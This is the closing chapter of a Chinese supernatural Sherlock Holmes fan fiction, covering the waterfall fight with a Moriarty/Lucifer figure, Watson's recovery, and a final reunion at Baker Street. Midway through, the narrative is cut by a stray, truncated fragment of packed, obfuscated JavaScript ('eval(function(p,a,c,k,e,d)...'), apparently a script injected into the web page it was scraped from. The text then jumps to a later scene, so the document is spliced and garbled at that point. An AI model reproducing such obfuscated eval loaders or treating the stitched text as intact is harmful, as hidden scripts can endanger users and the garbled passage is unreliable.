一旦回到现实维度受到重伤，那他必定会救治无效身亡。 而身处现实维度的人类坚强，同时也很脆弱，超凡力量难以起效，但不代表不能利用根部的空间混乱特征，将他错位从高空推下。 一秒后，约翰忽地听到了轰鸣的水声，鼻尖土壤和草地被水汽打湿后的腥气开始变得浓郁起来。 这条魔幻道路的尽头竟是一座人迹罕至的峡谷。 路西法一路推着他来到峡谷中那条显目的瀑布上方，似乎觉得这里将是个不错的葬礼举办地点。 【该结█这█切了！】 在现实失去锚点的魔鬼很难继续维持实体的形态。 过度的缺氧在这一刻化作致命的铁锤猛击他的脑部。 现实维度的铁律有时也是一把双刃剑，明明他感觉得到魔鬼掐住自己脖子的力道不得已在变得越来越弱，可前期的缺氧与疼痛，眼下如海上风浪要将他压进窒息死亡的绝望深渊中。 他的手无力地落下，眼前的景色变得模糊不清。 这次孩子清脆的笑声再度响起，像是亲手摘下一朵鲜花揉碎，或是抓住一只蝴蝶撕裂翅膀。 【来█！我允许█一起进入█堂。】 祂选择高高在上地“原谅”对方，却丝毫没有想过到底是谁冒犯了谁。 然后他看见天空如画倒悬于头顶，黑影欢快在深渊中大笑。 约翰向着上空伸出手，尚有一线清明的本能里还有对这个世界的依恋。 不过在没有神的世界里，真的有人能救他吗？ 【——！】 有人紧紧握住了他的手。 约翰努力睁大眼睛，似乎看见了好友熟悉的面容。 眼下的确没有神来救他，但他的挚友在千钧一发的时候对他伸出援手。 【███！！！】 傲慢的魔鬼怒不可遏，但此刻现实维度的铁律已经毫不留情地要将祂驱逐出境。 坠落瀑布的黑影如同逆向生长的植物根须猛然从下方杀出，要扯住他们的腿脚拉入深渊地狱。 “……”约翰艰难地动了动嘴唇，感觉自己接连经历过战斗的精神已经疲惫不堪，“歇洛克？” 好友带着他避开下方的攻击，接着将他拉上悬崖。 【我要██了。】 【不管是哈德█太太，██罗█特，还是██……】 【祝福你████。】 【让我们今后██，约翰。】 听不见，听不清—— 连眼前所有的景色都像被瀑布水流打湿而变得模糊。 约翰徒劳地想要告诉好友，那个对手的恐怖之处，也想要叮嘱他务必小心。 可在此之前，他就感觉思绪要彻底被困顿的黑色海洋淹没。 约翰感觉歇洛克似乎是从枪套里拿走了他的左轮。 可那把枪何时出现在这里？那枪膛里还有子弹吗？ 【莫里亚蒂教授，或者应当称呼你为路西法。】 【该做一个了断了。】 歇洛克·福尔摩斯如此平静，随后主动跃下了深渊。 黑影犹如长矛要将他刺穿。 祂举起手臂，抬起枪口对准敌人。 【我不信你的枪膛里还有子弹！】 路西法怒吼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年轻的护士松口气，然后想到他还是个刚脱离生命危险的重伤病人，又连忙去喊其他医护来看看。 一周后，他终于有了些许力气从床上自己坐起来进食说话。 外科医生感慨，他当时的伤势还能活下来简直就是奇迹。 约翰告诉他，这是因为自己的一位好友在紧要关头帮助了他。 和魔鬼塑造的幻境里长相很是相似的年轻小护士，时常好奇地来找他说话。 在和平的日常里，她脸上一点也没有紧绷的恐惧与不安。 相反，她总是叽叽喳喳地不喜欢让场面冷落下来。 “华生先生您也是医生吗！还在伦敦有自己的诊所？！主啊……我毕业后一定会尝试去应聘的！” “对了！对了！我昨天才知道，您原来有在报纸上发表过文章！我去拜读过之前刊报的每一期啦！您与福尔摩斯先生一起的冒险经历真是好精彩！” 她满脸兴奋地询问： “有很多人都说歇洛克·福尔摩斯不过是您虚拟创造的主角，可我知道这肯定不是的！” 看见她自豪挺起胸膛的样子，约翰不由失笑。 “为什么你这么肯定？” 她左右看看，接着悄悄对约翰说道： “我看到您日记本里还夹着一封信，上面的署名就是歇洛克·福尔摩斯！当然！我绝对没有偷看里面的内容！我可不是不礼貌的人！” “而且您之前签字的笔迹和它完全不像！所以我觉得福尔摩斯先生肯定是真有其人！” 她相当兴奋。 “您在之前刊报的文章上写过，说福尔摩斯先生是个‘闲不住的人’，在没有案件的日子里总是喜欢去伦敦的大街小巷走走，以便时常更新自己记忆宫殿里的情报资料……天哪！想必他这次一定是去调查前不久在平安夜发生的圣保罗大教堂失火案了吧！” “大教堂失火了吗？” 约翰顿了顿。 “是的。”护士点头，“主啊……那简直就是一场灾难！” “那天晚上本来人就很多，大教堂失火后火势蔓延得非常快，几乎快将整个伦敦都点燃，混乱更是引发踩踏事故……偏偏那晚同时发生了地震！” 那天恰好神秘与现实在进行分割，当日光破晓的时候，很多难以用常理解释的事情和现象，似乎都被适当地安排好它们的结局和归处。 就连他也是如此。 被救出的时候，救援队曾说过，他奄奄一息地被压在了废墟的最里面，险些就没了性命。 可奇怪是，在被烧成焦黑的火场里，他后背竟然全数是被水打湿的痕迹。 而他的笔记本完好无损，里面的信件甚至还留有一种刚写完字后淡淡的油墨香。 约翰失神片刻。 最初失去踪迹的日记本重新回到了他的身边，但不知何时上面已经不仅仅是当初他写的那些故事。 后续的血字、希腊译员等案件也被记录在其中，仿佛这本笔记从一个人单独的创作，变成了两个人共同协力完成。 他的手轻轻搁在笔记本的封面。 护士看着他，眼睛里满是好奇。 “华生先生，如果不冒犯的话，我真的很好奇……现在福尔摩斯先生到底去哪里了？” “我居然还在外面听闻有人说他死了！” 她显然对这种说法非常不赞同。 “什么大峡谷瀑布……那里距离伦敦可不知道有多远！偏偏报纸上还说亲自采访了几位清晨上山的猎户，说看到的人影就是福尔摩斯先生……我才不信！” 她看向约翰，期望从他口中得到和自己一样肯定的回答。 “福尔摩斯先生没有出现的原因，是因为调查其他什么案件，对吗？” *** 一个月后，约翰痊愈，他出院的那日天气尤其晴朗。 走在温暖的阳光下，他看见雷斯垂德和艾伦等人就在马车旁等着他。 这是一辆空间足够大的马车，恰好能让几位许久不见的故人重逢相谈。 黑色的马车绕着伦敦城的街道行驶。 约翰看向街边。 那晚突如其来的火灾和地震，让城区大片受灾严重，不过好在女王早有准备，且反应迅速，在当晚就迅速组织了人手进行救援。 雷斯垂德捏着自己的鼻梁，感觉随时都有可能在马车上就这么睡着。 他半睁开眼问约翰。 “现在身体情况如何？” “恢复得不错。”约翰笑道。 然后他提醒对方，“没有超凡力量的话，身体可不会像以往那么‘无坚不摧’。” “倒不如说我真感觉自己老了，我看我手下的年轻人反而对这种事情接受良好，完全不觉得有什么落差感。” 雷斯垂德唏嘘。 “结果也只有像我这种的‘老古董’还觉得超凡力量……曾经很重要吗？” “还有那些幻想着继续信奉‘神’，就能轻松获取力量的世家。” 亚历山大顺口一提。 “但如果他们信仰非常坚定……说不定还有可能引来魔鬼的注目，哪怕祂们现在已经被放逐在我们的世界之外。” 桃瑞思说道。 “不过魔鬼想要再插足我们的世界，可不仅仅是准备一个合适的容器这么简单的事情。” “那个形容怎么说来着……认知？众人认知？” 雷斯垂德插嘴。 “公众认知。”了解不少内情的艾伦提醒，“这是现在被改造为研究所的第一组他们说的专业名词。” “说是只要公众认知里，魔鬼、天使这种名词不再被偏执相信，那基本上就难以再掀起什么大风大浪。” 此时马车恰好路过被烧毁的圣保罗大教堂门前。 约翰侧首看过去。 无比奢华的教堂，如今剩下的是焦黑的骨架结构，而曾经门庭若市的广场上更是只有零星的教众信徒。 “恐怕陛下是打算借此机会，彻底将失去根基的福音教会拔起。” 约翰猜测。 说着，他看向桃瑞思。 “下一位教皇的人选难道是……” 桃瑞思点头，“老师已经安然回来。” 马车踢踢踏踏转过一个弯道，映入眼帘的是还没有完全来得及重建的贝克街。 前方有例行公事的人员拿着红旗大声提醒他们，前方因为废墟没有来得及清理，所以无法继续入内。 雷斯垂德打开车窗问道：“请问221号公寓那边情况如何？” 对方回以一个狐疑的眼神，“我在这里生活了三十多年，贝克街从来没有221号！” 雷斯垂德一愣，想起之前约翰在病房里说出的话。 医生安静看着那座公寓曾经伫立的地点。 但现在不管是歇洛克，还是哈德森太太都已经不在此处。 马车再度出发。 雷斯垂德先出声打断了车厢里的寂静。 “所以……歇洛克他们真的如迈克罗夫特祂们那样……消失了？” 他不知道这里应当用消失还是死亡更合适，但他本人更希望是前者。 “祂们去另一端的世界了吗？” 但他们总觉得，这个侦探还在伦敦这座繁华都市的某处，伪装成一个随时可见的行人，暗中帮助他们和需要帮助的他人侦破一个又一个相当棘手的案件。 “或许我们只是暂时分别了。”约翰说道：“然后会以另一种方式再见。” 雷斯垂德问，“什么？” “就像他还在我们的故事里。” “然后有朝一日我们又在他人的故事里重逢再遇。” 约翰将夹在笔记本里的那封信抽出来。 信封上那个署名在日光下熠熠生辉。 *** 贝克街221B。 清早五点零一分有雾。 一阵悠扬悦耳，但实在因为演奏时间不对的小提琴声从某间公寓窗户里传来。 这条街道上的居民们像是早已习以为常。 不少居民选择立刻施加一些特殊的力量，让自己房屋变得隔音。 还有少部分睁开眼，刚想下意识发怒，但想起那里住的是谁的时候，又沉默地选择了和前者一样的措施。 唯有哈德森太太穿着睡裙，裹着一条长毯就怒气冲冲地直接选择打开二楼的房门。 【歇洛克！禁止清晨就拉小提琴！！！】 【昨晚你、迈克罗夫特和艾德勒女士将整个客厅都炸毁的事情，我还没有找你们算账！】 把客厅当做演奏厅的侦探还没有停下手中的演奏。 祂站在书本堆得比桌面还高的“小山”旁，声音提高八度对哈德森太太说道： 【噢！我已经帮你修复好了，而且你知道的，哈德森太太，没有案件的日子真是度日如年。】 【况且，您其实早就不需要睡眠了。】 【这条街上所有的居民都习惯以前的生活习性！】 哈德森太太扶住额头。 【我现在只知道你需要改改自己这不良的生活习惯！】 【如果医生在的话，完全不会把客厅弄得如此之乱！】 祂高声谴责。 【另外你要是真想去现实维度，现在的你也不是不行吧！】 依旧喜欢，也将“歇洛克·福尔摩斯”这个称呼当做自己名字的侦探在一曲演奏完毕后，将小提琴和弓弦扔到了一旁的沙发上。 祂不满地强调，【哈德森太太，莫里亚蒂以及祂的残余势力还没有真正伏诛，贸然回去不仅找不到合适的接触方式，还有可能带来新的灾难。】 【噢！我看你只是有些近乡情更怯而已！】 咚咚—— 就在哈德森太太如此打趣的时候，客厅的门忽然被敲响。 然后站在客厅没有合上大门外的医生摘下礼帽。 走过短短的楼梯，也走过漫长的时光，他们又在贝克街221B重新相遇。 约翰·华生提着手提箱，笑着主动问道： 【请问……这里还接受合租人吗？】 【最后一案完】 【正文完】